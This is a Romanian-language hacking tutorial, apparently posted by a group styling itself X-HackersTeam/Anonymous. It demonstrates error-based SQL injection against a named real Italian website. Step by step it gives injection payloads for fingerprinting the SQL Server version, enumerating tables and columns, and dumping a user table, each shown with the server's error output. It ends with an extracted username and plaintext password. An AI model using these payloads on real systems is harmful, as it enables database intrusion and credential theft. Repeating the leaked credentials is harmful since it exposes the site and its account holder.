|
|
(+) Target http://www.assiomforex.it/news/news?id=85
-----------------------Tutorialul Incepe-----------------------
1. Pentru a vedea daca site-ul este vulnerabil vom adauga langa ?id=85 having 1=1
http://www.assiomforex.it/news/news?id= ... ng%201=1--
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]La colonna 'News.idc_news' non è valida nell'elenco di selezione perché non è inclusa né in una funzione di aggregazione né nella clausola GROUP BY.
/news/news.asp, riga 30
Erroare, inseamna ca este vulnerabila.
2. Aflarea versiuni -->
+or+1=convert(int,(@@version))--
http://www.assiomforex.it/news/news?id= ... on%29%29--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Conversione non riuscita durante la conversione del valore nvarchar 'Microsoft SQL Server 2008 R2 (SP1) - 10.50.2500.0 (X64) Jun 17 2011 00:54:03 Copyright (c) Microsoft Corporation Web Edition (64-bit) on Windows NT 6.1 (Build 7601: Service Pack 1) (Hypervisor) ' nel tipo di dati int.
/news/news.asp, riga 30
3. Bazele de date -->
+or+1=convert(int,(db_name()))--
http://www.assiomforex.it/news/news?id= ... 29%29%29--
4. Extragerea tabelelor --> +or+1=convert(int,(select top 1 table_name from information_schema.tables))--
http://www.assiomforex.it/news/news?id= ... es%29%29--
4.1 Continuarea extrageri --> Pentru a selecta mai multe tabele este necesar urmatorul query:
+or+1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('TABEL')))-- [ In cazul nostru tabelul este "download"
http://www.assiomforex.it/news/news?id= ... 29%29%29--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Conversione non riuscita durante la conversione del valore nvarchar 'anno_mappatura' nel tipo di dati int.
/news/news.asp, riga 30
anno_mappatura este alt tabel, daca doriti sa continuati extragerea veti avea nevoie de urmatoarea "modificare":
+or+1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('download','anno_mappatura')))--
http://www.assiomforex.it/news/news?id= ... 29%29%29--
De fiecare data cand incercati sa cautati celelalte tabele, trebuie modificat in primele paranteze tabelul prezent, in cazul nostru dupa download a fost anno_mappatura.
Voi sari peste restul extrageri pentru ca sunt foarte multe tabele, asa ca mergem direct la cel "principal" care ne intereseaza, si anume "userpassword"
http://www.assiomforex.it/news/news ?id=85%20or%201%20=%20convert%20%28int,%28select%20top%201%20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in%20%28%27download%27,%27anno_mappatura%27,%27funzione_mappatura%27,%27messagging_mappatura%27,%27atti%27,%27frontoffice_mappatura%27,%27citta_mappatura%27,%27files%27,%27rassegna%27,%27codice%27,%27contatti%27,'convenzioni','utenti','soci','riviste','questionario_domande','questionario_soci','fmlink','questionario','aste','libri','questionario_risultati','questionario_risposte','galleria','organigramma','profilo','sondaggio_grafici','Job','statuto','mailinglist_liste','verbali','sondaggio_compilazioni','mailinglist_indirizzi','mailinglist_riepilogo','Categorie','appoggio','regolamento' %29%29%29--
5. Extragerea coloanelor din tabelul userpassword.
Veti avea nevoie de urmatorul query:
select * from userpassword having 1=1--
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]La colonna 'userpassword.txt_email' non è valida nell'elenco di selezione perché non è inclusa né in una funzione di aggregazione né nella clausola GROUP BY.
/news/news.asp, riga 30
Continuam aflarea coloanelor cu o metoda mai diferita decat la tabele:
select * from userpassword group by userpassword.txt_email having 1=1--
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]La colonna 'userpassword.txt_username' non è valida nell'elenco di selezione perché non è inclusa né in una funzione di aggregazione né nella clausola GROUP BY.
/news/news.asp, riga 30
Continuam:
select * from userpassword group by userpassword.txt_email,userpassword.txt_username having 1=1--
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]La colonna 'userpassword.txt_password' non è valida nell'elenco di selezione perché non è inclusa né in una funzione di aggregazione né nella clausola GROUP BY.
/news/news.asp, riga 30
Gata, avem coloanele: txt_username si txt_password
6. Extragerea datelor din txt_username si txt_password:
or 1 = convert (int,(select top 1 txt_username from userpassword))--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Conversione non riuscita durante la conversione del valore varchar 'AlfieroAlb' nel tipo di dati int.
/news/news.asp, riga 30
or 1 = convert (int,(select top 1 txt_password from userpassword))--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Conversione non riuscita durante la conversione del valore varchar '9ck8r59g' nel tipo di dati int.
/news/news.asp, riga 30
Username: AlfieroAlb
Password: 9ck8r59g
_______________________________________ We are Anonymous! We are legion! Wait for us! We X-HackersTeam! We have the power! We want respect! X-HackersTeam is Anonymous EXPECT US !

|
|